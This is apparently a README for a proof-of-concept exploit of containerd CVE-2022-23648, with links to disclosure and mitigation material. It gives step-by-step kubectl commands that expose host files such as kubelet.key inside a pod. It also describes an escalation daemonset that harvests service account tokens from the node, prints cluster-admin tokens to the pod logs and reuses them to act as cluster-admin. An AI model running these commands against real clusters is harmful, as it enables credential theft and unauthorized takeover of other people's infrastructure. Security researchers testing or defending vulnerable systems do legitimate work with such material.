This is a proof of concept for @_fel1x's CVE-2022-23648. Disclosure info here, CVE info here and a blog with some more information and mitigation ideas here. The Containerfile has the info. needed, and you can change the target of the VOLUME to try out different paths.
Easiest way to show it working is to use KinD which has exploitable images.
Unless the node somehow has a lot of data in /var/lib/kubelet/pki, this should be a safe test.
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/
And if you get back files including kubelet.key it worked :)
NOTE: Do not attempt this on a production cluster. A vulnerable Containerd may duplicate a lot of data into this attack pod and exhaust disk space. Also, this will print cluster-admin SA tokens to pod logs which are likely to get sent to a logging destination in plaintext
This will run a daemonset that attempts to enumerate all Kubernetes service account tokens on the node and print it to the pod's logs if it's found to be a cluster-admin token.
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -A
If yes is printed, congrats, you have a short-lived cluster-admin service account token, run:
-
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -dto see which SA it is -
kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A -
kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list
- @BradGeesaman - Escalation Daemonset